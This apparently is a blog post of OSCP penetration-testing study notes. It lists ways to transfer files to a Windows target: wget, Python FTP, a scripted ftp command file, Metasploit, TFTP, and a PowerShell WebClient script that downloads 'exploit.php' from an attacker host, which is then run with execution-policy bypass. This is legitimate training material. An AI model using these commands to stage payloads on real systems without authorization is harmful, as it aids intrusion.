OSCP Learning Notes - File Transfers(1)
2024-08-25 00:29:24
File transfer type:
1. HTTP
Transfer files through the website.
2.wget
wget http://10.0.0.109/exploit.php
3.FTP
python FTP
(1)Install python FTP on the Kali Linux.
pip3 install pyftpdlib
(2)Move to the target folder, and start the FTP service.
python3 -m pyftpdlib -p
(3)Login the ftp service on Windows 10 anonymously.
(4) Get the file form FTP server.
(5)Exit FTP service.
We can also save the shellcode to txt file.
(1) Execute the following commands to make the ftp command file.
echo open 10.0.0.109 > ftp.txt echo anonymous>> ftp.txt echo pass>>ftp.txt echo binary>> ftp.txt echo get exploit.php >> ftp.txt echo bye >> ftp.txt
(2) Get the files from the FTP server.
ftp -s:ftp.txt
4.Metasploit
(1) Start the metasploit.
(2) Initiate the FTP service,.
use auxiliary/server/ftp show options exploit
(3) Stop the FTP service.
5.TFTP
(1)Start the TFTP service on Kali Linux.
atftpd --daemon --port /var/www/html
(2) Get the file from tftp server.
tftp -i 10.0.0.109 get exploit.php
6.Powershell
(1) Make the powershell file to get the file form Kali server.
echo $storage = $pwd > get.ps1 echo $webclient = New-Object System.Net.Webclient >> get.ps1 echo $url = "http://10.0.0.109/exploit.php" >> get.ps1 echo $file = "exploit.php" >> get.ps1 echo $webclient.DownloadFile($url,$file) >> get.ps1
(2)Execute the powershell code.
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File get.ps1
最新文章
- XML的一些事
- 删除txt文件每行第一(n)个空格前内容的方法
- java中自动装箱的问题
- 关于在Eclipse中运行java程序报出:The project:XXXX which is referenced by the classpath10
- python3下的paramiko 安装
- GraphX的三大图算法
- 【Android】记录反编译安卓程序步骤
- P31、面试题2:实现Singleton模式
- [改善Java代码]在switch的default代码块中增加AssertionError错误
- CKedit在线编辑器
- 存储过程&;Function
- python手记(30)
- 基于jq插件开发及弹窗实例
- JQuery DOM HighLighter (it's a basic "Inspect element" simple implementation to mimic what webkit inspector and firebug do)
- Java基础知识拾遗(一)
- Motion control encoder extrapolation
- GIT入门笔记(1)- Git的基本概念
- avuex
- python安装setup.py问题
- 如何删除node_modules